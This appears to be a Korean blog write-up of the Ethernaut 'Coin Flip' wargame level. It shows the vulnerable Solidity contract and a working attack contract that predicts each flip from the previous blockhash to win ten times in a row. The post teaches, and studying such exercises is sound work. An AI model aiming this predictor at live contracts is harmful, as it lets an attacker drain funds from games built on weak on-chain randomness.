블록체인/Ethernaut
[Ethernaut] 3. Coin Flip
dev_dean
2022. 5. 25. 09:17
소스코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
목표
consecutiveWins 10회 달성
방법
다른 컨트랙트 파일을 생성 후 같은 blockhash를 사용해서 답을 도출한 후 함수를 호출한다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./CoinFlip.sol";
contract CoinFlipAttack {
CoinFlip coinflipContract;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor (address _addr) public {
coinflipContract = CoinFlip(_addr);
}
function flip() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
coinflipContract.flip(side);
}
}